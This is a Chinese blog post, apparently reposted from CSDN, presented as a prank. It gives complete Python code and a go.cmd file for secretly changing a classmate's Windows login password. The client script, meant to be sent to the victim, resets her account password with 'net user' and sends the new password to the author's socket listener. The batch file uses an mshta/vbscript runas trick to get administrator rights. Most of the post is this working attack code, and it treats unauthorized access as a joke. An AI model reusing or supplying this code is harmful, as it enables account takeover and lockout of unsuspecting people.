Python还能这么玩之用Python修改了班花的开机密码

作者:五包辣条! 时间:2023-11-23 17:38:40 

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字

  • -绑定ip和端口

  • -设置监听

  • -等待链接

  • -接受数据打印数据

  • -关闭链接


import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn)
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字

  • -连接服务端的IP和端口

  • -获取当前使用的电脑账户名

  • -生成随机的电脑密码

  • -在终端执行修改Windows密码的指令

  • -发送修改之后的密码

  • -关闭套接字


import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
   m = str(random.randrange(0, 10))
   psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd


@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

来源:https://blog.csdn.net/AI19970205/article/details/117417156

标签:Python,修改,开机密码
0
投稿

猜你喜欢

  • python常用数据结构元组详解

    2022-08-14 08:14:44
  • Python获取任意xml节点值的方法

    2023-03-09 01:40:07
  • python中的import、from import及import as的区别解析

    2022-10-07 15:56:09
  • Vue计时器的用法详解

    2024-04-28 09:28:51
  • Golang解析yaml文件操作指南

    2024-05-09 14:51:59
  • Pytorch之8层神经网络实现Cifar-10图像分类验证集准确率94.71%

    2022-03-03 21:14:36
  • 由浅入深讲解MySQL数据库索引的选择性

    2008-12-17 15:06:00
  • 微型设计专用工具Dorado

    2011-01-06 12:23:00
  • ASP编写计数器的优化方法

    2009-01-21 19:46:00
  • 用来武装Firefox的24款Web开发插件

    2010-02-28 12:40:00
  • 与ClientWidth有关的一点资料

    2024-04-22 22:25:08
  • PyTorch简单手写数字识别的实现过程

    2021-07-12 17:17:52
  • Python中字典及遍历常用函数的使用详解

    2021-06-25 13:06:03
  • python自动从arxiv下载paper的示例代码

    2021-11-21 04:30:27
  • mysql 显示SQL语句执行时间的代码

    2024-01-16 03:25:14
  • SqlServer系统数据库的作用深入了解

    2024-01-28 07:29:35
  • Python中is与==的使用区别详解

    2023-10-15 04:08:21
  • 浅谈JavaScript中的“!!”作用

    2024-05-05 09:04:53
  • MYsql库与表的管理及视图介绍

    2024-01-25 21:33:06
  • Python中操作符重载用法分析

    2023-04-05 12:34:51
  • asp之家 网络编程 m.aspxhome.com